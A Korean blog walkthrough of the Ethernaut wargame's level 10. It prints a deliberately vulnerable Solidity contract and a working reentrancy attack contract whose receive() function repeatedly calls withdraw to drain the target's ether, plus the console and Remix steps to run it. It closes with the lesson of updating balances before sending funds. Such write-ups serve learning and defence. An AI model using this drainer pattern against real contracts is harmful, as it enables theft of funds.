10번 문제 re-entrancy입니다.
Solidity 문서의 보안 측면 고려사항 페이지에서 거의 처음 부분에 나오는 거라 언제 이게 문제로 나오나 했는데 이제 나오네요.
그래도 힌트를 좀 보면 기존에 많은 문제풀이 처럼 다른 컨트랙트를 사용해 이 레벨을 클리어 해야 하겠네요. fallback은 거의 항상 이용되는 것 같은데 이 정도면 fallback을 없애야 하는거 아닌가 싶어요 ㅎㅎ
그리고 Throw/revert bubbling 이라는 힌트가 있는데 revert는 레벨9 King에서도 활용했었습니다.
자 하던대로 코드를 살펴보시죠.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {//재진입 컨트랙트
using SafeMath for uint256;//safemath
mapping(address => uint) public balances;//잔고
function donate(address _to) public payable {//기부 함수
balances[_to] = balances[_to].add(msg.value);//balances[_to]에 msg.value add
}
function balanceOf(address _who) public view returns (uint balance) {//잔고 확인 함수
return balances[_who];//잔고 리턴
}
function withdraw(uint _amount) public {//인출
if(balances[msg.sender] >= _amount) {//가지고 있는 돈이 인출할 돈보다 많으면
(bool result,) = msg.sender.call.value(_amount)("");//인출
if(result) {//만약 결과가 참이면
_amount;//_amount? 이기 뭐여
}
balances[msg.sender] -= _amount;//잔고에 반영
}
}
receive() external payable {}//receive() 함수.
}
solidity 문서 보안 측면 고려 사항을 보면 withdraw 함수가 수정되어야 하는 것을 금방 아실 수 있으실거에요. 하지만 수정하는 문제가 아니라 해킹해서 돈을 다 빼가는 거니깐 해봅시다. 해당 문서를 보면 재진입 문제에 대해 이렇게 설명되어 있습니다.
다른 컨트랙트에서 withdraw함수가 완료되기 전에 또 withdraw함수를 실행되면 잔고에 반영되기 전에 또 인출이 된다는 말입니다. 자 그럼 어떻게 withdraw함수가 완료되기전에 또 withdraw함수를 실행시킬까요? 답은 fallback 함수에 있습니다. withdraw를 호출하면 Reentrance는 이더를 myContract로 보낼거고 그러면 fallback이 실행될텐데 그 fallback 안에서 또 withdraw 호출하면 계속 반복 되겠죠? Reentrance의 잔고가 0이 되거나 call stack이 1024가 넘는 순간까지 반복되겠죠?
그래서 코드는 아래와 같이 만들었습니다. 해당 코드를 Reentrace 컨트랙트의 주소와 함께 배포합니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Reentrance {//Reentrance 컨트랙트를 사용하기 위한 interface 정의
function withdraw(uint) external;
}
contract myContract {
address public owner;
Reentrance reentrance;//인스턴스
constructor (address _target) public {
owner = msg.sender;
reentrance = Reentrance(_target);//인스턴스에 주소 할당
}
function withdraw() public {//돈 회수 연습
require(msg.sender == owner);
msg.sender.call{value:address(this).balance}("");
}
function withdrawAll() public {
reentrance.withdraw(1000000000000000000);//1 ether withdraw
}
receive() external payable{//송금되면 수행
reentrance.withdraw(1000000000000000000);//1 ether withdraw
}
}
Reentrace 컨트랙트의 최초 잔고는 1 ETH 입니다. 1 ETH 를 myContract 주소로 기부하면 Reentrace의 잔고는 2 ETH 가 될거에요. 그 후에 배포된 myContract의 withdrawAll함수를 실행시키면 해당 함수에서 1이더가 인출되고 나머지 1 ETH 도 receive함수에서 호출되는 withdraw에 의해 인출될 거에요. 자 확인해 보시죠.
아래 코드로 자신의 컨트랙트 주소로 1 ETH 기부 (아래 주소를 변경해야 합니다.)
await contract.donate("0x3BD5f7539f00DbaD847225b92c1629224caD4ce1",{value:web3.utils.toWei("1")})
기부가 완료되면 아래 화면 캡쳐처럼 getBalance함수를 이용해 2 ETH 가 있는지 확인해 보세요.
마지막으로 Remix의 실행창에서 withdrawAll 함수를 실행하면 1 ETH 씩 두번 인출이 되어 myContract로 들어가게 될거에요. 실행 후 다시 Reentrance의 잔고를 확인하면 0 ETH, myContract의 잔고는 2가 되어 있는 것을 확인하실 수 있습니다.
그리고 제출하면 칭찬을 받겠죠?
자 정리해보자면 컨트랙트 내에서 ETH를 송금하는 함수는 다른 악의적인 컨트랙트에 의해 두 번 이상 수행될 수 있는 가능성이 항상 있습니다. 따라서 반드시 send,transfer,call를 호출하기 전에 잔고를 정리하는 구문이 있어야 합니다.
그러니까! 오늘의 교훈!
꼭!꼭! 잔고부터 정리하고 돈을 보내자!
그리고 다음은 이더를 보내는 방법에 대한 문서인데요. send나 transfer는 더 이상 사용을 추천하지 않는다고 합니다. call을 쓰래요.
https://solidity-by-example.org/sending-ether/
그럼 레벨 11에서 만나요~
안녕~!
'Smart contract > Ethernaut 문제풀이' 카테고리의 다른 글
Ethernaut 문제풀이 #12 - Privacy (0) | 2022.02.28 |
---|---|
Ethernaut 문제풀이 #11 - Elevator (0) | 2022.02.28 |
Ethernaut 문제풀이 #9 - King (0) | 2022.02.28 |
Ethernaut 문제풀이 #7 - Force (0) | 2022.02.28 |
Ethernaut 문제풀이 #6 - Delegation (0) | 2022.02.28 |